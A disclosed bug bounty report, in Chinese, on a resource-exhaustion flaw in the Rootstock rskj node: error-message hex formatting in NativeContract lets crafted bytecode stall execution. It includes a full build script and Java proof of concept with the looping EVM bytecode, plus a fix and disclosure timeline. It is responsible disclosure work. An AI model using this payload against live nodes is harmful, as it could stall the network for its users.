报告 #2559404 - 精心构造的智能合约因巨大错误字符串构建导致执行耗时约23秒
问题描述
调用原生合约(rskj-core/src/main/java/co/rsk/pcc/NativeContract.java)时,如果传入无效的大输入数据(1081344字节——经实验确定这是可达到的最慢速度),并在无限循环中执行(直到gas耗尽),在我的机器上耗时约70秒(估计在你们的机器上约23秒)。(比https://hackerone.com/reports/2489843稍快)。
问题原因
问题的原因是NativeContract.execute为了日志记录和抛出异常,将整个输入消息构建为十六进制字符串:https://github.com/rsksmart/rskj/blob/e130ef722ca87eb881d4da435b30ec23f8fee15a/rskj-core/src/main/java/co/rsk/pcc/NativeContract.java#L122
1
|
String errorMessage = String.format("Invalid data given: %s.", ByteUtil.toHexString(data));
|
如果改为(为了演示):
1
|
String errorMessage = String.format("Invalid data given: %s.", "");
|
重现程序在我的机器上大约4.4秒完成。
下面的重现程序禁用了日志记录;如果生产节点默认启用日志记录,预计耗时会更长。
重现步骤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
echo "task testJar(type: Jar) {" >>rskj-core/build.gradle
echo " from sourceSets.test.output" >>rskj-core/build.gradle
echo " classifier = 'tests'" >>rskj-core/build.gradle
echo "}" >>rskj-core/build.gradle
echo "assemble.dependsOn(testJar)" >>rskj-core/build.gradle
./configure.sh
# 禁用日志记录
echo """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<configuration>
<root level=\"OFF\">
</root>
</configuration>""" >rskj-core/src/test/resources/logback.xml
# 构建rskj
./gradlew assemble
# 构造重现程序
echo """
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import java.util.HashSet;
import javax.xml.bind.DatatypeConverter;
import co.rsk.test.builders.AccountBuilder;
import co.rsk.test.builders.TransactionBuilder;
import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.*;
import org.ethereum.vm.program.Program;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
import org.ethereum.core.Account;
import org.ethereum.core.Transaction;
import java.math.BigInteger;
public class Poc {
static private final TestSystemProperties config = new TestSystemProperties();
static private final PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
static private final BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
static private VmConfig vmConfig = config.getVmConfig();
static private ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
static private ActivationConfig.ForBlock activations = ActivationConfigsForTest.lovell700().forBlock(0);
private static Transaction createTransaction() {
int number = 0;
AccountBuilder acbuilder = new AccountBuilder();
acbuilder.name(\"sender\" + number);
Account sender = acbuilder.build();
acbuilder.name(\"receiver\" + number);
Account receiver = acbuilder.build();
TransactionBuilder txbuilder = new TransactionBuilder();
return txbuilder.sender(sender).receiver(receiver).value(BigInteger.valueOf(1000)).build();
}
public static void main(String[] args) {
TestSystemProperties config = new TestSystemProperties();
PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
VmConfig vmConfig = config.getVmConfig();
ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
ActivationConfig.ForBlock activations = ActivationConfigsForTest.arrowhead600().forBlock(0);
invoke.setGas(6800000); /* 区块限制 */
byte[] code = DatatypeConverter.parseHexBinary(
\"5b6000600062108000600063010000095afa50600056\");
VM vm = new VM(vmConfig, precompiledContracts);
Transaction transaction = createTransaction();
Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke, transaction, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
try {
while (!program.isStopped())
vm.step(program);
} catch (RuntimeException e) {
program.setRuntimeFailure(e);
}
}
}""" >Poc.java
# 构建重现程序
$JAVA_HOME/bin/javac -cp rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc.java
# 运行重现程序
time $JAVA_HOME/bin/java -cp .:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc
|
影响
导致网络停滞。
时间线
- 2024年6月18日:guido提交报告
- 2024年6月19日:Rootstock Labs确认收到报告
- 2024年6月24日:Rootstock Labs确认正在修复
- 2024年7月13日:guido确认bug已被修复(可能通过https://github.com/rsksmart/rskj/commit/5f9158ad4cf90e37dbf24f30369f89f436fd101b)
- 2024年7月17日:Rootstock Labs奖励赏金,报告状态改为已解决
- 2025年6月10日:Rootstock Labs请求披露此报告
- 2025年6月12日:guido同意披露,报告被公开
报告详情
- 报告ID: #2559404
- 状态: 已解决
- 严重性: 中等 (6.1)
- 披露时间: 2025年6月12日
- 弱点: 不受控制的资源消耗
- CVE ID: 无